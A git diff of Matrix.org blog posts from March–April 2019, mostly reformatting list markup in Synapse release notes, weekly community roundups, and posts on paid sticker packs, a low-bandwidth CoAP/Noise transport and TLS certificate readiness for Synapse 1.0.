  • Support .well-known delegation when issuing certificates through ACME. (#4652)
  • +
  • Allow registration and login to be handled by a worker instance. (#4666#4670#4682)
  • +
  • Reduce the overhead of creating outbound federation connections over TLS by caching the TLS client options. (#4674)
  • +
  • Add prometheus metrics for number of outgoing EDUs, by type. (#4695)
  • +
  • Return correct error code when inviting a remote user to a room whose homeserver does not support the room version. (#4721)
  • +
  • Prevent showing rooms to other servers that were set to not federate. (#4746)
  • ### Bugfixes
      -
    • Fix possible exception when paginating. (#4263)
    • -
    • The dependency checker now correctly reports a version mismatch for optional +
    • Fix possible exception when paginating. (#4263)
    • +
    • The dependency checker now correctly reports a version mismatch for optional dependencies, instead of reporting the dependency missing. (#4450)
    • -
    • Set CORS headers on .well-known requests. (#4651)
    • -
    • Fix kicking guest users on guest access revocation in worker mode. (#4667)
    • -
    • Fix an issue in the database migration script where the +
    • Set CORS headers on .well-known requests. (#4651)
    • +
    • Fix kicking guest users on guest access revocation in worker mode. (#4667)
    • +
    • Fix an issue in the database migration script where the e2e_room_keys.is_verified column wasn't considered as a boolean. (#4680)
    • -
    • Fix TaskStopped exceptions in logs when outbound requests time out. (#4690)
    • -
    • Fix ACME config for python 2. (#4717)
    • -
    • Fix paginating over federation persisting incorrect state. (#4718)
    • +
    • Fix TaskStopped exceptions in logs when outbound requests time out. (#4690)
    • +
    • Fix ACME config for python 2. (#4717)
    • +
    • Fix paginating over federation persisting incorrect state. (#4718)
    ### Internal Changes
      -
    • Run black to reformat user directory code. (#4635)
    • -
    • Reduce number of exceptions we log. (#4643#4668)
    • -
    • Introduce upsert batching functionality in the database layer. (#4644)
    • -
    • Fix various spelling mistakes. (#4657)
    • -
    • Cleanup request exception logging. (#4669#4737#4738)
    • -
    • Improve replication performance by reducing cache invalidation traffic. (#4671#4715#4748)
    • -
    • Test against Postgres 9.5 as well as 9.4. (#4676)
    • -
    • Run unit tests against python 3.7. (#4677)
    • -
    • Attempt to clarify installation instructions/config. (#4681)
    • -
    • Clean up gitignores. (#4688)
    • -
    • Minor tweaks to acme docs. (#4689)
    • -
    • Improve the logging in the pusher process. (#4691)
    • -
    • Better checks on newsfragments. (#4698#4750)
    • -
    • Avoid some redundant work when processing read receipts. (#4706)
    • -
    • Run push_receipts_to_remotes as background job. (#4707)
    • -
    • Add prometheus metrics for number of badge update pushes. (#4709)
    • -
    • Reduce pusher logging on startup (#4716)
    • -
    • Don't log exceptions when failing to fetch remote server keys. (#4722)
    • -
    • Correctly proxy exception in frontend_proxy worker. (#4723)
    • -
    • Add database version to phonehome stats. (#4753)
    • +
    • Run black to reformat user directory code. (#4635)
    • +
    • Reduce number of exceptions we log. (#4643#4668)
    • +
    • Introduce upsert batching functionality in the database layer. (#4644)
    • +
    • Fix various spelling mistakes. (#4657)
    • +
    • Cleanup request exception logging. (#4669#4737#4738)
    • +
    • Improve replication performance by reducing cache invalidation traffic. (#4671#4715#4748)
    • +
    • Test against Postgres 9.5 as well as 9.4. (#4676)
    • +
    • Run unit tests against python 3.7. (#4677)
    • +
    • Attempt to clarify installation instructions/config. (#4681)
    • +
    • Clean up gitignores. (#4688)
    • +
    • Minor tweaks to acme docs. (#4689)
    • +
    • Improve the logging in the pusher process. (#4691)
    • +
    • Better checks on newsfragments. (#4698#4750)
    • +
    • Avoid some redundant work when processing read receipts. (#4706)
    • +
    • Run push_receipts_to_remotes as background job. (#4707)
    • +
    • Add prometheus metrics for number of badge update pushes. (#4709)
    • +
    • Reduce pusher logging on startup (#4716)
    • +
    • Don't log exceptions when failing to fetch remote server keys. (#4722)
    • +
    • Correctly proxy exception in frontend_proxy worker. (#4723)
    • +
    • Add database version to phonehome stats. (#4753)
    diff --git a/content/blog/2019/03/2019-03-07-experiments-with-payments-over-matrix.md b/content/blog/2019/03/2019-03-07-experiments-with-payments-over-matrix.md index cd3006fed..16d17c796 100644 --- a/content/blog/2019/03/2019-03-07-experiments-with-payments-over-matrix.md +++ b/content/blog/2019/03/2019-03-07-experiments-with-payments-over-matrix.md @@ -9,25 +9,23 @@ category = ["In the News"] Hi all, - Heads up that Modular.im (the paid hosting Matrix service provided by New Vector, the company who employs much of the Matrix core team) launched a pilot today for paid Matrix integrations in the form of paid sticker packs.  Yes kids, it's true - for only $0.50 you can slap Matrix and Riot hex stickers all over your chatrooms. It's a toy example to test the payments infrastructure and demonstrate the concept - the proceeds go towards funding development work on Matrix.org :)   You can read more about over on Modular's blog. We wanted to elaborate on this a bit from the Matrix.org perspective, specifically:
      -
    • We are categorically not baking payments or financial incentives as a first class citizen into Matrix, and we're not going to start moving stuff behind paywalls or similar. +
    • We are categorically not baking payments or financial incentives as a first class citizen into Matrix, and we're not going to start moving stuff behind paywalls or similar.
    • -
    • This demo is a proof-of-concept to illustrate how folks could do this sort of thing in general in Matrix - it's not a serious product in and of itself. +
    • This demo is a proof-of-concept to illustrate how folks could do this sort of thing in general in Matrix - it's not a serious product in and of itself.
    • -
    • What it shows is that an Integration Manager like Modular can be used as a way to charge for services in Matrix - whether that's digital content within an integration, or bots/bridges/etc. +
    • What it shows is that an Integration Manager like Modular can be used as a way to charge for services in Matrix - whether that's digital content within an integration, or bots/bridges/etc.
    • -
    • While Modular today gathers payments via credit-card (Stripe), it could certainly support other mechanisms (e.g. cryptocurrencies) in future. +
    • While Modular today gathers payments via credit-card (Stripe), it could certainly support other mechanisms (e.g. cryptocurrencies) in future.
    • -
    • The idea in future is for Modular to provide this as a mechanism that anyone can use to charge for content on Matrix - e.g. if you have your own sticker pack and want to sell it to people, you'll be able to upload it and charge people for it. +
    • The idea in future is for Modular to provide this as a mechanism that anyone can use to charge for content on Matrix - e.g. if you have your own sticker pack and want to sell it to people, you'll be able to upload it and charge people for it.
    Meanwhile, there's a lot of interesting stuff on the horizon with integration managers in general - see MSC1236 and an upcoming MSC from TravisR (based around https://github.com/matrix-org/matrix-doc/issues/1286) proposing new integration capabilities.  We're also hoping to implement inline widgets soon (e.g. chatbot buttons for voting and other semantic behaviour) which should make widgets even more interesting! - So, feel free to go stick some hex stickers on your rooms if you like and help test this out.  In future there should be more useful things available :) diff --git a/content/blog/2019/03/2019-03-08-this-week-in-matrix-2019-03-08.md b/content/blog/2019/03/2019-03-08-this-week-in-matrix-2019-03-08.md index 14516c437..383303444 100644 --- a/content/blog/2019/03/2019-03-08-this-week-in-matrix-2019-03-08.md +++ b/content/blog/2019/03/2019-03-08-this-week-in-matrix-2019-03-08.md @@ -52,18 +52,18 @@ For more new Construct news watch the tom reports from #matrix-puppet-bridge:matrix.org: > ## MiniVector update @@ -150,7 +150,7 @@ There are some new announcements this week: > Today we are pleased to announce that you can now customise your Modular hosted Riot at the touch of a button, through the Modular host admin interface. Better yet, this is available to all Modular customers at no additional cost.
    Today we are also launching a proof of concept for purchasing additional content via the Modular integration manager.
    For the initial experiment we're offering a set of "snazzy", limited edition Matrix stickers for the princely sum of $0.50. These are digital versions of the Matrix and Riot hexagons that some of you may have seen in real life. -## Still more! +## Still more decred.org are an organisation concerned with blockchain technology, and they also use Matrix for their communications! They now have a stickerpack available in Riot, so if you'd like to use their stickers you can add the pack and get going with blockchain-related memes. @@ -164,6 +164,6 @@ Celebrating the creation of a new homeserver instance at kde.org, https://github.com/vector-im/riot-web/issues/6838 -## They think it's all over... +## They think it's all over It is now! If you'd like to have your project included in this post, come chat to us in #twim:matrix.org! diff --git a/content/blog/2019/03/2019-03-12-breaking-the-100bps-barrier-with-matrix-meshsim-coap-proxy.md b/content/blog/2019/03/2019-03-12-breaking-the-100bps-barrier-with-matrix-meshsim-coap-proxy.md index ebd71d7ee..b9090eaa5 100644 --- a/content/blog/2019/03/2019-03-12-breaking-the-100bps-barrier-with-matrix-meshsim-coap-proxy.md +++ b/content/blog/2019/03/2019-03-12-breaking-the-100bps-barrier-with-matrix-meshsim-coap-proxy.md @@ -17,10 +17,10 @@ The challenge here was to see if we could demonstrate Matrix working usably over Now, it's taken us a little while to find time to tidy up the stuff we demo'd in the talk to be (relatively) suitable for public consumption, but we're happy to finally release the four projects which powered the demo: In order to get up and running, the meshsim README has all the details. @@ -28,29 +28,29 @@ It's important to understand that this is very much a proof of concept, and shou We also don't have an MSC for the CoAP-based transport yet, mainly due to lack of time whilst wanting to ensure the limitations are addressed first before we propose it as a formal alternative Matrix transport.  (We also first need to define negotiation mechanisms for entirely alternative CS & SS transports!).  However, the quick overview is:
      -
    • JSON is converted directly into CBOR (with a few substitutions made to shrink common patterns down)
    • -
    • HTTP is converted directly into CoAP (mapping the verbose API endpoints down to single-byte endpoints)
    • -
    • TLS is swapped out for Noise Pipes (XX + IK noise handshakes).  This gives us 1RTT setup (XX) for the first connection to a host, and 0RTT (IK) for all subsequent connections, and provides trust-on-first-use semantics when connecting to a server.  You can see the Noise state machine we maintain in go-coap's noise.go.
    • -
    • The CoAP headers are hoisted up above the Noise payload, letting us use them for framing the noise pipes without having duplicated framing headers at the CoAP & Noise layers.  We also frame the Noise handshake packets as CoAP with custom message types (250, 251 and 252).  We might be better off using OSCORE for this, however, rather than hand-wrapping a custom encrypted transport...
    • -
    • The CoAP payload is compressed via Flate using preshared compression tables derived from compressing large chunks of representative Matrix traffic. This could be significantly improved in future with streaming compression and dynamic tables (albeit seeded from a common set of tables).
    • +
    • JSON is converted directly into CBOR (with a few substitutions made to shrink common patterns down)
    • +
    • HTTP is converted directly into CoAP (mapping the verbose API endpoints down to single-byte endpoints)
    • +
    • TLS is swapped out for Noise Pipes (XX + IK noise handshakes).  This gives us 1RTT setup (XX) for the first connection to a host, and 0RTT (IK) for all subsequent connections, and provides trust-on-first-use semantics when connecting to a server.  You can see the Noise state machine we maintain in go-coap's noise.go.
    • +
    • The CoAP headers are hoisted up above the Noise payload, letting us use them for framing the noise pipes without having duplicated framing headers at the CoAP & Noise layers.  We also frame the Noise handshake packets as CoAP with custom message types (250, 251 and 252).  We might be better off using OSCORE for this, however, rather than hand-wrapping a custom encrypted transport...
    • +
    • The CoAP payload is compressed via Flate using preshared compression tables derived from compressing large chunks of representative Matrix traffic. This could be significantly improved in future with streaming compression and dynamic tables (albeit seeded from a common set of tables).
    The end result is that you end up taking about 90 bytes (including ethernet headers!) to send a typical Matrix message (and about 70 bytes to receive the acknowledgement).  This breaks down as as:
      -
    • 14 bytes of Ethernet headers
    • -
    • 20 bytes of IP headers
    • -
    • 8 bytes of UDP headers
    • -
    • 16 bytes of Noise AEAD
    • -
    • 6 bytes of CoAP headers
    • -
    • ~26 bytes of compressed and encrypted CBOR
    • +
    • 14 bytes of Ethernet headers
    • +
    • 20 bytes of IP headers
    • +
    • 8 bytes of UDP headers
    • +
    • 16 bytes of Noise AEAD
    • +
    • 6 bytes of CoAP headers
    • +
    • ~26 bytes of compressed and encrypted CBOR
    The Noise handshake on connection setup would take an additional 128 bytes (4x 32 byte Curve25519 DH values), either spread over 1RTT for initial setup or 0RTT for subsequent setups. At 100bps, 90 bytes takes 90*8/100 = 7.2s to send... which is just about usable in an extreme life and death situation where you can only get 100bps of connectivity (e.g. someone at the bottom of a ravine trying to trickle data over one bar of GPRS to the emergency services).  In practice, on a custom network, you could ditch the Ethernet and UDP/IP headers if on a point-to-point link for CS API, and ditch the encryption if the network physical layer was trusted - at which point we're talking ~32 bytes per request (2.5s to send at 100bps).  Then, there's still a whole wave of additional work that could be investigated, including...
      -
    • Smarter streaming compression (so that if a user says 'Hello?' three times in a row, the 2nd and 3rd messages are just references to the first pattern)
    • -
    • Hoisting Matrix transaction IDs up to the CoAP layer (reusing the CoAP msgId+token rather than passing around new Matrix transaction IDs, at the expense of requiring one Matrix txn per request)
    • -
    • Switching to CoAP OBSERVE for receiving data from the server (currently we long-poll /sync to receive data)
    • -
    • Switching access_tokens for PSKs or similar
    • +
    • Smarter streaming compression (so that if a user says 'Hello?' three times in a row, the 2nd and 3rd messages are just references to the first pattern)
    • +
    • Hoisting Matrix transaction IDs up to the CoAP layer (reusing the CoAP msgId+token rather than passing around new Matrix transaction IDs, at the expense of requiring one Matrix txn per request)
    • +
    • Switching to CoAP OBSERVE for receiving data from the server (currently we long-poll /sync to receive data)
    • +
    • Switching access_tokens for PSKs or similar
    ...all of which could shrink the payload down even further.  That said, even in its current state, it's a massive improvement - roughly ~65x better than the equivalent HTTPS+JSON traffic. diff --git a/content/blog/2019/03/2019-03-15-matrix-1-0-https-arewereadyyet-com.md b/content/blog/2019/03/2019-03-15-matrix-1-0-https-arewereadyyet-com.md index d3b32c484..9e33c04a7 100644 --- a/content/blog/2019/03/2019-03-15-matrix-1-0-https-arewereadyyet-com.md +++ b/content/blog/2019/03/2019-03-15-matrix-1-0-https-arewereadyyet-com.md @@ -7,37 +7,32 @@ author = ["Neil Johnson"] category = ["General"] +++ -TL;DR +TL;DR
      -
    • If you run a Synapse ensure that your federation certificates are valid here. +
    • If you run a Synapse ensure that your federation certificates are valid here.
    • -
    • If they are not valid check out the FAQ. +
    • If they are not valid check out the FAQ.
    • -
    • Follow along with progress at https://arewereadyyet.com
    • -
    • Tell all your admin friends. +
    • Follow along with progress at https://arewereadyyet.com
    • +
    • Tell all your admin friends.
    Folks, as you know we are now very close to achieving Matrix 1.0 and finally being in a position to shed our ‘beta' tag. It has been a long time coming and speaks to the huge effort from hundreds of people over the past 5 years. - -A critical step towards this goal is the release of Synapse 1.0. We want to ship Synapse 1.0 as soon as possible but can't do so without your help! - +A critical step towards this goal is the release of Synapse 1.0. We want to ship Synapse 1.0 as soon as possible but can't do so without your help! We'd like to introduce AreWeReadyYet.com - a quick and easy way for everyone to track the progress and check if their federation is ready for Matrix 1.0!!

    Are we ready yet?

    -Synapse 1.0 is good news for anyone running a Synapse installation - it contains critical bug fixes, security patches, a new room algorithm version and dramatically improved user and room search. However, as part of the security work it also +Synapse 1.0 is good news for anyone running a Synapse installation - it contains critical bug fixes, security patches, a new room algorithm version and dramatically improved user and room search. However, as part of the security work it also contains a breaking change from previous Synapse versions. From 1.0 onwards it will necessary to ensure a valid TLS certificate on the federation API. Self signed certificates will no longer be accepted. Why would we do such a thing? -In anticipation for this, everyone currently running a homeserver must ensure that they have checked their federation certificate (check yours here). Failure to do so will mean being unable to federate with any Matrix 1.0 compliant server. If your server fails the check, our FAQ has all the details on what you need to do. - +In anticipation for this, everyone currently running a homeserver must ensure that they have checked their federation certificate (check yours here). Failure to do so will mean being unable to federate with any Matrix 1.0 compliant server. If your server fails the check, our FAQ has all the details on what you need to do. This post is a call to arms to try and get as many admins to upgrade their certificates as possible. We are tracking adoption at https://arewereadyyet.com - currently this sits at about 55% - we need this figure to be higher before we can pull the lever.   - -So what are you waiting for? Check that your server has valid certs - then tell all your admin pals to do the same. +So what are you waiting for? Check that your server has valid certs - then tell all your admin pals to do the same. Friends don't let friends miss out on Synapse 1.0, send them to arewereadyyet.com (or tweet here to remind them!) We really need the community to help us here because at some point soon, we will need to pull the lever and release. - Once we make more progress on adoption, we will announce an official release date and finally get Synapse out of beta! diff --git a/content/blog/2019/03/2019-03-15-this-week-in-matrix-2019-03-15.md b/content/blog/2019/03/2019-03-15-this-week-in-matrix-2019-03-15.md index 80b8ee4ae..815aa345e 100644 --- a/content/blog/2019/03/2019-03-15-this-week-in-matrix-2019-03-15.md +++ b/content/blog/2019/03/2019-03-15-this-week-in-matrix-2019-03-15.md @@ -43,9 +43,9 @@ Turn-of-phrase of the week from repo or join #zemos-test:matrix.org @@ -60,8 +60,8 @@ For more Construct news watch the ## Quaternion 0.0.9.4 beta 2 available @@ -73,8 +73,8 @@ For more Construct news watch the
      ->
    • We started to setup build tools and CI configuration.
    • ->
    • The timeline scroll issues are addressed.
    • +>
    • We started to setup build tools and CI configuration.
    • +>
    • The timeline scroll issues are addressed.
    • >
    ## FluffyChat 11 released @@ -99,13 +99,13 @@ For more Construct news watch the
    FluffyChat was made available: https://open-store.io/app/fluffychat.christianpauly >
      ->
    • Improved stability and performance
    • ->
    • New translations - thanks to all translators
    • ->
    • Design improvements to make FluffyChat look more like a common Ubuntu Touch app
    • ->
    • Better tablet support
    • ->
    • Lots of Bugfixes which caused a critical error
    • ->
    • Fixed the automatic scrolling up to the last seen message
    • ->
    • Fixed disabling account
    • +>
    • Improved stability and performance
    • +>
    • New translations - thanks to all translators
    • +>
    • Design improvements to make FluffyChat look more like a common Ubuntu Touch app
    • +>
    • Better tablet support
    • +>
    • Lots of Bugfixes which caused a critical error
    • +>
    • Fixed the automatic scrolling up to the last seen message
    • +>
    • Fixed disabling account
    • >
    ## miniVector v0.8.25 diff --git a/content/blog/2019/03/2019-03-22-this-week-in-matrix-2019-03-22.md b/content/blog/2019/03/2019-03-22-this-week-in-matrix-2019-03-22.md index 47419a7d4..137896186 100644 --- a/content/blog/2019/03/2019-03-22-this-week-in-matrix-2019-03-22.md +++ b/content/blog/2019/03/2019-03-22-this-week-in-matrix-2019-03-22.md @@ -36,7 +36,7 @@ Lots of news from Pattle, the > Pattle for Android now has an F-droid repository: https://fdroid.pattle.im/ > > It's the most up to date version straight from the pipeline, so not necessarily stable. - +> > You can now scroll up and load history @@ -51,23 +51,23 @@ As part of the project, Wilko We've released a hotfix release 0.8.4 on App Store that fixes following issues: >
      ->
    • Unable to open a file attachment of a room message.
    • ->
    • Unable to share a file with whitespace in filename.
    • +>
    • Unable to open a file attachment of a room message.
    • +>
    • Unable to share a file with whitespace in filename.
    • >
    > We are working on iOS 12 notifications features. ## Riot Android >
      ->
    • Improving new notification system
    • ->
    • Implementing SAS verification
    • +>
    • Improving new notification system
    • +>
    • Implementing SAS verification
    • >
    ## RiotX (Android) >
      ->
    • Setup CI
    • ->
    • Finishing Phase 0
    • +>
    • Setup CI
    • +>
    • Finishing Phase 0
    • >
    ## Dimension sticker packs @@ -77,21 +77,21 @@ As part of the project, Wilko Dimension now has beta support for custom sticker packs. To create a sticker pack:
      -
    1. Start a conversation with @stickers:t2bot.io
    2. -
    3. Say !stickers newpack and follow the prompts.
    4. -
    5. Share the URL with your friends.
    6. +
    7. Start a conversation with @stickers:t2bot.io
    8. +
    9. Say !stickers newpack and follow the prompts.
    10. +
    11. Share the URL with your friends.
    To add the sticker pack to your sticker picker:
      -
    1. Make sure you're using Dimension as your integration manager. +
    2. Make sure you're using Dimension as your integration manager.
        -
      • Not sure if you are? Click the 4 squares in the top right of the room in Riot - if the dialog is titled "Dimension", you're all set :)
      • -
      • If you aren't, check out https://dimension.t2bot.io
      • +
      • Not sure if you are? Click the 4 squares in the top right of the room in Riot - if the dialog is titled "Dimension", you're all set :)
      • +
      • If you aren't, check out https://dimension.t2bot.io
    3. -
    4. Click on the smiley face to the right of where you type messages then the Edit button in the top right.
    5. -
    6. Paste the URL of the sticker pack into the box and click "Add Stickerpack".
    7. -
    8. Start using your new stickers.
    9. +
    10. Click on the smiley face to the right of where you type messages then the Edit button in the top right.
    11. +
    12. Paste the URL of the sticker pack into the box and click "Add Stickerpack".
    13. +
    14. Start using your new stickers.
    > These instructions are also available at https://github.com/turt2live/matrix-dimension/blob/master/docs/custom_stickerpacks.md as is the admin/operator guide for running your own sticker bot (you're not stuck with using t2bot.io unless you want to be).
    Custom sticker packs are still beta while the proposals to share this with the wider Matrix ecosystem are still works in progress. This serves as a proof of concept to see how crazy of an idea it is to have stickerpacks-as-rooms (yes, they're just plain Matrix rooms under the hood) and what needs ironing out before moving ahead with the MSC. diff --git a/content/blog/2019/03/2019-03-29-this-week-in-matrix-2019-03-29.md b/content/blog/2019/03/2019-03-29-this-week-in-matrix-2019-03-29.md index c678808d5..9cc96c75a 100644 --- a/content/blog/2019/03/2019-03-29-this-week-in-matrix-2019-03-29.md +++ b/content/blog/2019/03/2019-03-29-this-week-in-matrix-2019-03-29.md @@ -47,7 +47,7 @@ Report from the Construct team: > The matrix Construct server has made significant progress this week implementing the 1.0 specification and is very close to a 1.0 release! Special thanks to our star tester Yan Minari and expert Matrix consultants Tulir and Max and C++ developers Jason of Zemos and Mujx of nheko for all their hard work to make this happen. The Construct now fully supports IPv6 and is ready to participate in fully end-to-to-end encrypted ipv6 networks like #yggdrasil:matrix.org and #cjdns:matrix.org.
    This week also saw additions for .well-known support, m.fully_read and even DNS caching inside a matrix room shared between servers (which is really cool if you ask me). > > I'd like to recognize our testers for their invaluable contributions this week, only a fraction of which are documented here: https://github.com/matrix-construct/construct/issues leading to the 1.0 release. - +> > The Construct is written in C++ for maximum performance and scalability. It is the first fully federating server after the Synapse reference implementation. Your contributions in code and participation are essential to bring Construct to its upcoming release; get involved at https://github.com/matrix-construct/construct and in #zemos-test:matrix.org. ## Riot Web @@ -77,9 +77,9 @@ UTD = "Unable to Decrypt", messages as seen in Riot ## Riot Android >
      ->
    • Rework of EventStreamService, to fix many issues (crash) reported by users. The feature is available on the develop branch.
    • ->
    • Also we are trying to upgrade Jitsi library, to fix other errors reported by users.
    • ->
    • SAS verification implementation is still in progress.
    • +>
    • Rework of EventStreamService, to fix many issues (crash) reported by users. The feature is available on the develop branch.
    • +>
    • Also we are trying to upgrade Jitsi library, to fix other errors reported by users.
    • +>
    • SAS verification implementation is still in progress.
    • >
    Also, you may have already seen the use of Android 9-style notifications, featuring "Mark as read" + "Quick reply" buttons. This addition has started to make Riot Android my client of choice for burning through notifying rooms. @@ -87,9 +87,9 @@ Also, you may have already seen the use of Android 9-style notifications, featur ## RiotX (Android) >
      ->
    • Phase 1 started!
    • ->
    • Backporting RageShake feature, with better handshake detection.
    • ->
    • We are still fighting bug on the timeline rendering.
    • +>
    • Phase 1 started!
    • +>
    • Backporting RageShake feature, with better handshake detection.
    • +>
    • We are still fighting bug on the timeline rendering.
    • >
    ## nheko packaging @@ -103,7 +103,7 @@ Also, you may have already seen the use of Android 9-style notifications, featur Black Hat has been using Dart and Flutter this week, and is making progress with an SDK and reference client: > I am trying to use libaqueous(Matrix Dart SDK) to create a cross-platform matrix client for Android and iOS.
    ~~Almost nothing works except~~ Already a significant number of client features are available: login/logout, room list, basic timeline and message posting - +> > Flutter is quite good for rapidly building mobile apps. ? Strong-typed json serialization/deserialization in Dart is a bit difficult at first, but I managed to solve that.
    the repo is here, the SDK is here, and the room for discussion is at #libaqueous:encom.eu.org > > Debug build apk from Gitlab CI is here diff --git a/content/blog/2019/04/2019-04-01-synapse-0-99-3-released.md b/content/blog/2019/04/2019-04-01-synapse-0-99-3-released.md index 58daffc79..038318030 100644 --- a/content/blog/2019/04/2019-04-01-synapse-0-99-3-released.md +++ b/content/blog/2019/04/2019-04-01-synapse-0-99-3-released.md @@ -21,92 +21,92 @@ As ever, you can get the new update #4537#4846#4864#4887#4900#4944) -
  • Add configurable rate limiting to the /register endpoint. (#4735#4804)
  • -
  • Move server key queries to federation reader. (#4757)
  • -
  • Add support for /account/3pid REST endpoint to client_reader worker. (#4759)
  • -
  • Add an endpoint to the admin API for querying the server version. Contributed by Joseph Weston. (#4772)
  • -
  • Include a default configuration file in the 'docs' directory. (#4791#4801)
  • -
  • Synapse is now permissive about trailing slashes on some of its federation endpoints, allowing zero or more to be present. (#4793)
  • -
  • Add support for /keys/query and /keys/changes REST endpoints to client_reader worker. (#4796)
  • -
  • Add checks to incoming events over federation for events evading auth (aka "soft fail"). (#4814)
  • -
  • Add configurable rate limiting to the /login endpoint. (#4821#4865)
  • -
  • Remove trailing slashes from certain outbound federation requests. Retry if receiving a 404. Context: #3622. (#4840)
  • -
  • Allow passing --daemonize flags to workers in the same way as with master. (#4853)
  • -
  • Batch up outgoing read-receipts to reduce federation traffic. (#4890#4927)
  • -
  • Add option to disable searching the user directory. (#4895)
  • -
  • Add option to disable searching of local and remote public room lists. (#4896)
  • -
  • Add ability for password providers to login/register a user via 3PID (email, phone). (#4931)
  • +
  • The user directory has been rewritten to make it faster, with less chance of falling behind on a large server. (#4537#4846#4864#4887#4900#4944)
  • +
  • Add configurable rate limiting to the /register endpoint. (#4735#4804)
  • +
  • Move server key queries to federation reader. (#4757)
  • +
  • Add support for /account/3pid REST endpoint to client_reader worker. (#4759)
  • +
  • Add an endpoint to the admin API for querying the server version. Contributed by Joseph Weston. (#4772)
  • +
  • Include a default configuration file in the 'docs' directory. (#4791#4801)
  • +
  • Synapse is now permissive about trailing slashes on some of its federation endpoints, allowing zero or more to be present. (#4793)
  • +
  • Add support for /keys/query and /keys/changes REST endpoints to client_reader worker. (#4796)
  • +
  • Add checks to incoming events over federation for events evading auth (aka "soft fail"). (#4814)
  • +
  • Add configurable rate limiting to the /login endpoint. (#4821#4865)
  • +
  • Remove trailing slashes from certain outbound federation requests. Retry if receiving a 404. Context: #3622. (#4840)
  • +
  • Allow passing --daemonize flags to workers in the same way as with master. (#4853)
  • +
  • Batch up outgoing read-receipts to reduce federation traffic. (#4890#4927)
  • +
  • Add option to disable searching the user directory. (#4895)
  • +
  • Add option to disable searching of local and remote public room lists. (#4896)
  • +
  • Add ability for password providers to login/register a user via 3PID (email, phone). (#4931)
  • #### Bugfixes
      -
    • Fix a bug where media with spaces in the name would get a corrupted name. (#2090)
    • -
    • Fix attempting to paginate in rooms where server cannot see any events, to avoid unnecessarily pulling in lots of redacted events. (#4699)
    • -
    • 'event_id' is now a required parameter in federated state requests, as per the matrix spec. (#4740)
    • -
    • Fix tightloop over connecting to replication server. (#4749)
    • -
    • Fix parsing of Content-Disposition headers on remote media requests and URL previews. (#4763)
    • -
    • Fix incorrect log about not persisting duplicate state event. (#4776)
    • -
    • Fix v4v6 option in HAProxy example config. Contributed by Flakebi. (#4790)
    • -
    • Handle batch updates in worker replication protocol. (#4792)
    • -
    • Fix bug where we didn't correctly throttle sending of USER_IP commands over replication. (#4818)
    • -
    • Fix potential race in handling missing updates in device list updates. (#4829)
    • -
    • Fix bug where synapse expected an un-specced prev_state field on state events. (#4837)
    • -
    • Transfer a user's notification settings (push rules) on room upgrade. (#4838)
    • -
    • fix test_auto_create_auto_join_where_no_consent. (#4886)
    • -
    • Fix a bug where hs_disabled_message was sometimes not correctly enforced. (#4888)
    • -
    • Fix bug in shutdown room admin API where it would fail if a user in the room hadn't consented to the privacy policy. (#4904)
    • -
    • Fix bug where blocked world-readable rooms were still peekable. (#4908)
    • +
    • Fix a bug where media with spaces in the name would get a corrupted name. (#2090)
    • +
    • Fix attempting to paginate in rooms where server cannot see any events, to avoid unnecessarily pulling in lots of redacted events. (#4699)
    • +
    • 'event_id' is now a required parameter in federated state requests, as per the matrix spec. (#4740)
    • +
    • Fix tightloop over connecting to replication server. (#4749)
    • +
    • Fix parsing of Content-Disposition headers on remote media requests and URL previews. (#4763)
    • +
    • Fix incorrect log about not persisting duplicate state event. (#4776)
    • +
    • Fix v4v6 option in HAProxy example config. Contributed by Flakebi. (#4790)
    • +
    • Handle batch updates in worker replication protocol. (#4792)
    • +
    • Fix bug where we didn't correctly throttle sending of USER_IP commands over replication. (#4818)
    • +
    • Fix potential race in handling missing updates in device list updates. (#4829)
    • +
    • Fix bug where synapse expected an un-specced prev_state field on state events. (#4837)
    • +
    • Transfer a user's notification settings (push rules) on room upgrade. (#4838)
    • +
    • fix test_auto_create_auto_join_where_no_consent. (#4886)
    • +
    • Fix a bug where hs_disabled_message was sometimes not correctly enforced. (#4888)
    • +
    • Fix bug in shutdown room admin API where it would fail if a user in the room hadn't consented to the privacy policy. (#4904)
    • +
    • Fix bug where blocked world-readable rooms were still peekable. (#4908)
    #### Internal Changes
      -
    • Add a systemd setup that supports synapse workers. Contributed by Luca Corbatto. (#4662)
    • -
    • Change from TravisCI to Buildkite for CI. (#4752)
    • -
    • When presence is disabled don't send over replication. (#4757)
    • -
    • Minor docstring fixes for MatrixFederationAgent. (#4765)
    • -
    • Optimise EDU transmission for the federation_sender worker. (#4770)
    • -
    • Update test_typing to use HomeserverTestCase. (#4771)
    • -
    • Update URLs for riot.im icons and logos in the default notification templates. (#4779)
    • -
    • Removed unnecessary $ from some federation endpoint path regexes. (#4794)
    • -
    • Remove link to deleted title in README. (#4795)
    • -
    • Clean up read-receipt handling. (#4797)
    • -
    • Add some debug about processing read receipts. (#4798)
    • -
    • Clean up some replication code. (#4799)
    • -
    • Add some docstrings. (#4815)
    • -
    • Add debug logger to try and track down #4422. (#4816)
    • -
    • Make shutdown API send explanation message to room after users have been forced joined. (#4817)
    • -
    • Update example_log_config.yaml. (#4820)
    • -
    • Document the generate option for the docker image. (#4824)
    • -
    • Fix check-newsfragment for debian-only changes. (#4825)
    • -
    • Add some debug logging for device list updates to help with #4828. (#4828)
    • -
    • Improve federation documentation, specifically .well-known support. Many thanks to @vaab. (#4832)
    • -
    • Disable captcha registration by default in unit tests. (#4839)
    • -
    • Add stuff back to the .gitignore. (#4843)
    • -
    • Clarify what registration_shared_secret allows for. (#4844)
    • -
    • Correctly log expected errors when fetching server keys. (#4847)
    • -
    • Update install docs to explicitly state a full-chain (not just the top-level) TLS certificate must be provided to Synapse. This caused some people's Synapse ports to appear correct in a browser but still (rightfully so) upset the federation tester. (#4849)
    • -
    • Move client read-receipt processing to federation sender worker. (#4852)
    • -
    • Refactor federation TransactionQueue. (#4855)
    • -
    • Comment out most options in the generated config. (#4863)
    • -
    • Fix yaml library warnings by using safe_load. (#4869)
    • -
    • Update Apache setup to remove location syntax. Thanks to @cwmke! (#4870)
    • -
    • Reinstate test case that runs unit tests against oldest supported dependencies. (#4879)
    • -
    • Update link to federation docs. (#4881)
    • -
    • fix test_auto_create_auto_join_where_no_consent. (#4886)
    • -
    • Use a regular HomeServerConfig object for unit tests rater than a Mock. (#4889)
    • -
    • Add some notes about tuning postgres for larger deployments. (#4895)
    • -
    • Add a config option for torture-testing worker replication. (#4902)
    • -
    • Log requests which are simulated by the unit tests. (#4905)
    • -
    • Allow newsfragments to end with exclamation marks. Exciting! (#4912)
    • -
    • Refactor some more tests to use HomeserverTestCase. (#4913)
    • -
